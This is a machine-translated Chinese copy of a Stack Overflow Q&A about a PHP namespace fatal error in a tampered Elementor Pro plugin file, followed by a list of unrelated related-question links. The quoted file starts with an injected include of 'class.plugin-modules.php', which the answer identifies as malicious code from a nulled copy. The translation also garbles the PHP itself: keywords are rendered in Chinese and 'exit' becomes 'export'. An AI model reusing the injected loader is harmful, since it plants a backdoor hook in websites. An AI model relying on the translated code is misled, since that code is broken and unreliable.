namespaces - 命名空间声明语句必须是第一个语句或在 elementor pro base-widget.php 脚本中的任何声明调用之后

标签 namespaces declaration fatal-error

当我在 wordpress 中尝试使用 elementor pro 插件时显示 fatal error :命名空间声明语句必须是 F:\local_host\htdocs\wow-web\wp-content\plugins\elementor-pro\base\base-widget.php 中脚本中的第一个语句或任何声明调用之后2

这是 base-widget.php 代码:

<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php

命名空间 ElementorPro\Base;

使用 Elementor\Widget_Base;

如果(!定义('ABSPATH')){
导出;//如果直接访问则退出
}

抽象类 Base_Widget 扩展 Widget_Base {
public function get_categories() {
    return [ 'pro-elements' ];
}

}

最佳答案

您似乎下载了一个已修改为添加危险代码的无效版本,
所以最好下载official version
或者你可以删除这一行

<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?>

你很安全

关于namespaces - 命名空间声明语句必须是第一个语句或在 elementor pro base-widget.php 脚本中的任何声明调用之后,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/54975723/

相关文章:

scala - Scala 中的特征与包

c++ - 奇怪的代码...有人可以解释一下吗

javascript - 为 JavaScript for 循环重用 "i"

swift - fatal error : swapping a location with itself is not supported with Swift 2. 0

c++ - 使用 isalpha 函数时不需要 std 命名空间

php - 使用 SplClassLoader.php 和命名空间

vb.net - VB.NET 中对象声明中的 (As) 和 (=) 有什么区别

java - 尝试声明并初始化变量但会导致编译失败

c++ - 即使使用最新的 sdk 也出现 rc1106 错误

android - 启用 proguard 后的致命信号 11